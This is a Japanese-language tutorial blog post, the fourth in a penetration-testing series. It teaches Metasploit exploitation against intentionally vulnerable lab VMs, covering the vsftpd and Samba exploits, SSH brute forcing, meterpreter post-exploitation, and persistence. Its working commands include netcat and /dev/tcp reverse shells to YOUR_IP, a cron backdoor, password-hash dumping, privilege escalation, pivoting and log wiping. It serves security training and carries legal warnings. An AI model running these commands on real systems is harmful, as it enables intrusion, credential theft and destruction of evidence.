メニュー
概要 サービス 経歴 お問い合わせ
Cybersecurity concept visualization
セキュリティ 2026年3月8日 • 28分で読める

エクスプロイテーション:脆弱性からシェルへ

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

共有:
Lee Foropoulos

Lee Foropoulos

28分で読める

ハッカーの道:全5パートシリーズ

パート1:イントロダクションパート2:Flipperマスターパート3:Kaliの基礎パート4:エクスプロイテーションパート5:完全監査

パート1〜3で、あなたはツールキットを構築しました。バッジのクローン、ネットワークのマッピング、ハンドシェイクのキャプチャ、ターゲット上で動作するすべてのサービスの特定ができるようになっています。今やどこにでも脆弱性が見えるでしょう。しかし、脆弱性を見つけることと、それを悪用することは全く異なるスキルです。

ここからが本番です。今日はMetasploit Frameworkの使い方を学びます。世界中のプロのペネトレーションテスターが使用するのと同じツールです。最初の脆弱性を悪用し、persistenceを確立し、権限を昇格させ、ネットワークを通じてpivotする方法を学びます。

越えてはならない一線

この記事のすべては、自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ実践してください。コンピュータシステムへの不正アクセスは、最大20年の懲役刑を伴う連邦犯罪です。「勉強していただけ」は弁護になりません。ラボを構築し、意図的に脆弱なVMを使用し、自分が所有しないシステムには絶対に触れないでください。

パート1:攻撃ラボの構築

何かを悪用する前に、ターゲットが必要です。本物のペネトレーションテスターは、意図的に脆弱なマシンを備えた隔離されたラボ環境を使用します。あなたも同じことをします。

必須ラボセットアップ

必要なもの

  • Kali Linux VM - 攻撃マシン(パート3より)
  • Metasploitable 2 - 意図的に脆弱なLinux VM(SourceForge
  • Metasploitable 3 - 脆弱なWindows/Linux VM(GitHub
  • DVWA - Damn Vulnerable Web Application(GitHub
  • VulnHub VMs - CTFスタイルの脆弱なマシン(vulnhub.com

プロジェクト:ラボネットワークセットアップ

時間: 45分

  1. SourceForgeからMetasploitable 2をダウンロード
  2. VirtualBox/VMwareにインポート
  3. ネットワーク設定:KaliとMetasploitableの両方を「Host-Only」または「Internal Network」に設定
  4. Metasploitableを起動(デフォルトログイン:msfadmin / msfadmin
  5. IPアドレスをメモ:ifconfig
  6. Kaliから接続性を確認:ping METASPLOITABLE_IP
  7. 初期スキャンを実行:sudo nmap -sV -sC METASPLOITABLE_IP

確認: 数十の開いたポートが表示されるはずです。Metasploitableは侵害されるように設計されています。

Metasploitableのnmapスキャンでは、FTP、SSH、Telnet、SMTP、HTTP、Samba、MySQL、PostgreSQLなどのサービスが表示されるはずで、その多くが古い脆弱なバージョンを実行しています。ここがあなたの練習場です。

パート2:Metasploit Frameworkの基礎

Metasploitは単なるツールではありません。エコシステム全体です。数千のexploit、payload、補助モジュール、post-exploitationツールが含まれています。その構造を理解することが不可欠です。

4,000+
Metasploit Frameworkで利用可能なexploitモジュール。すべての主要なプラットフォームと脆弱性クラスをカバーしています。

Metasploitの起動

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

Metasploitの構造

Metasploitはすべてをモジュールに整理しています:

  • Exploits - 脆弱性を悪用するコード
  • Payloads - exploitation後に実行されるコード(shell、meterpreter)
  • Auxiliary - スキャナー、ファザー、その他のユーティリティ
  • Post - persistence、pivotingのためのpost-exploitationモジュール
  • Encoders - 検出を回避するためのpayloadの難読化
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

エクスプロイテーションのワークフロー

Metasploitでのすべてのexploitationは同じパターンに従います:

  1. exploitを選択 - use exploit/path/to/module
  2. オプションを設定 - ターゲットIP、ポート、認証情報
  3. payloadを選択 - exploitation後に何が実行されるか
  4. 実行 - exploit または run
Cybersecurity operations with code on multiple screens
Metasploit Frameworkはexploitationへの構造化されたアプローチを提供し、脆弱性研究を再現可能でプロフェッショナルなワークフローに変えます。

パート3:最初のExploit

史上最も有名なバックドアの一つを悪用しましょう:vsftpd 2.3.4バックドアです。2011年、誰かがvsftpdのソースコードにバックドアを挿入しました。:)で終わるユーザー名を送信すると、ポート6200にシェルが開きます。

Metasploitable 2はまさにこのバージョンを実行しています。

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

これだけです。脆弱なサービス1つ、exploit1つ、rootアクセス。だからソフトウェアを最新に保つことが重要なのです。

脆弱なサービス1つ、exploit1つ、rootアクセス。だからソフトウェアを最新に保つことが重要なのです。

プロジェクト:vsftpdバックドアのExploit

時間: 15分

前提条件: Metasploitable 2が動作中、Kaliが同じネットワーク上

  1. FTPが動作していることを確認:nmap -sV -p 21 TARGET_IP
  2. msfconsoleを起動
  3. vsftpd exploitを検索、選択、設定
  4. exploitを実行
  5. シェルを取得したら探索:cat /etc/shadow

成功基準: rootのみがアクセスできる/etc/shadowを読むことができる。

パート4:Payloadの理解

Payloadはexploitが成功した後に実行されるものです。上で得た基本的なシェルはシンプルですが、Metasploitははるかに強力なオプションを提供します。

Payloadの種類

  • Singles - 自己完結型の単発payload(ユーザー追加、コマンド実行)
  • Stagers - 接続を確立し、メインpayloadをダウンロードする小さなpayload
  • Stages - stagerがダウンロードするメインpayload(Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse対Bind Shell

  • Reverse shell - ターゲットがあなたに接続し返す。ファイアウォールのバイパスに最適(アウトバウンドは通常許可されている)。
  • Bind shell - ターゲットがポートを開き、あなたが接続する。検出が容易で、ファイアウォールにブロックされやすい。
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter:究極のPayload

MeterpreterはMetasploitの最も強力なpayloadです。完全にメモリ上で動作し(ディスクにファイルなし)、暗号化された通信を提供し、post-exploitation用の数十のビルトインコマンドが含まれています。

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

パート5:さらなるExploitationテクニック

Samba(SMB)のExploitation

Metasploitable 2は脆弱なバージョンのSambaを実行しています。これはWannaCryで使われた悪名高いEternalBlue exploitに似ています。

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

弱い認証情報のExploitation

すべての侵害にソフトウェアの脆弱性が必要なわけではありません。弱いパスワードはどこにでもあります。

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Webアプリケーションのexploitation

Metasploitableには複数の脆弱なWebアプリケーションが含まれています。PHPコードインジェクションを悪用してみましょう。

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

プロジェクト:3つの異なるサービスをExploit

時間: 60分

ターゲット: Metasploitable 2

  1. vsftpdバックドア(FTP - ポート21)をexploitしてrootシェルを取得
  2. Samba usermap_script(SMB - ポート139/445)をexploitしてrootシェルを取得
  3. auxiliary/scanner/ssh/ssh_loginを使用してSSH認証情報をクラック
  4. 各exploitationを記録:使用したモジュール、設定したオプション、結果

ボーナス: ポート80のWebアプリケーションを探索し、手動のexploitationベクターを見つけてください。

パート6:Post-Exploitation

シェルを取得するのは始まりに過ぎません。本物のペネトレーションテストでは、攻撃者がそのアクセスで何ができるかを実証する必要があります。これがpost-exploitationです。

情報収集

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

認証情報の収集

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Persistenceの確立

Persistenceとは、再起動後や最初のexploitベクターがパッチされた後でもアクセスを維持することです。

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = 証拠

すべてのpersistenceメカニズムは痕跡を残します。本物のペネトレーションテストでは、何ができるかを記録し、その後クリーンアップします。クライアントシステムにバックドアを残すのはプロフェッショナルではなく、違法になる可能性もあります。ラボでは好きなだけやってください。ただし、その影響を理解してください。

パート7:権限昇格

最初のアクセスは低権限ユーザーとして得ることが多いです。テスト目標を達成するには、通常root/adminへの昇格が必要です。

Linuxの権限昇格

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

自動列挙スクリプト

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

一般的なLinux Privescベクター

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Windowsの権限昇格

Windowsターゲット(Metasploitable 3)をテストする場合、テクニックは異なります:

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

プロジェクト:ユーザーからRootへの昇格

時間: 45分

シナリオ: Metasploitableにmsfadmin(非root)としてSSHアクセスがある

  1. MetasploitableにSSH:ssh msfadmin@TARGET
  2. idを実行してrootでないことを確認
  3. sudo権限を確認:sudo -l
  4. SUIDバイナリを検索:find / -perm -4000 2>/dev/null
  5. LinPEASをアップロードして実行
  6. privescベクターを特定してexploit

目標: ネットワークサービスのexploitation以外の方法でrootシェルを取得する。

Hacker working on code in a dark environment
権限昇格は、限定的なアクセスをシステム全体の制御に変えます。多くの場合、高度なexploitではなく、見落とされた設定ミスを通じて実現されます。

パート8:Pivoting

Pivotingとは、侵害したシステムを使って、攻撃マシンから直接アクセスできない他のシステムを攻撃することです。攻撃者がネットワーク内を横方向に移動する方法です。

Pivotシナリオ

このネットワークを想像してください:

  • あなたのKali:192.168.1.100
  • 侵害されたホスト:192.168.1.50(内部ネットワーク10.0.0.0/24にも接続)
  • ターゲット:10.0.0.10(192.168.1.50からのみアクセス可能)

10.0.0.10に直接到達することはできません。しかし、侵害されたホストを経由すれば可能です。

Metasploitルーティング

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

フルアクセスのためのSOCKSプロキシ

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

SSHトンネリング(Metasploitなし)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

パート9:痕跡の消去

プロのペネトレーションテスターはアクセスを記録しますが、後片付けもします。攻撃者がどのように痕跡を消すかを理解することは、侵入検知にも役立ちます。

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

実際の業務では:やらないでください

プロのペンテスターはアクセスを記録し、発見事項を報告します。隠しません。ログを消去すると、防御者が攻撃経路を理解するために必要な証拠が破壊されます。これらのテクニックは隔離されたラボ環境でのみ練習してください。

ハッカーの道

好奇心から能力へ導く全5パートシリーズ。

パート1:イントロダクション パート2:Flipperマスター パート3:Kaliの基礎 パート4:エクスプロイテーション ✓ パート5:完全監査

パート4チェックリスト

☐ ラボセットアップ: Metasploitable 2が動作中、隔離ネットワークが設定済み

☐ Metasploit: データベース初期化済み、基本ナビゲーション習得

☐ 最初のExploit: vsftpdバックドアをexploit、rootシェル取得

☐ 複数ベクター: FTP、SMBをexploitし、SSH認証情報をクラック

☐ Post-Exploitation: パスワードハッシュをダンプ、システムを列挙

☐ 権限昇格: ネットワークexploitなしでユーザーからrootへ昇格

☐ Pivoting: autorouteとSOCKSプロキシの概念を理解

☐ 文書化: すべてのexploitをステップと証拠とともに記録

Exploitationスキルアクションプラン 0/5

次のステップ

脆弱性のexploitation、権限昇格、ネットワークを通じたpivotを学びました。単一の弱点がいかに素早く完全な侵害になるかを見ました。プロのペネトレーションテスターが何をするか理解しています。

パート5では、すべてを統合します。最初から最後まで完全なセキュリティ監査を実施します:

  • スコープと交戦規定
  • 完全な偵察方法論
  • 体系的なexploitation
  • 包括的なpost-exploitation
  • プロフェッショナルなレポーティング
  • 改善勧告

パート5は集大成です。このシリーズ全体で学んだことが、テストを許可された任意のネットワークのセキュリティを評価するために使用できる実世界の方法論に統合されます。

テクニックを学びました。次は方法論を学びます。パート5はスキルを完全なペネトレーションテストワークフローに変えます。

パート5でお会いしましょう。

How was this article?

共有

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Kiji wo minogasanaide

Atarashii kiji ga kokai saretara tsuuchi shimasu. Meeru wa fuyou desu.

Atarashii kiji ga aru to saito ni banner ga hyouji sare, kyoka sureba burauza tsuuchi mo todokimasu.

Burauza tsuuchi nomi. Supamu nashi.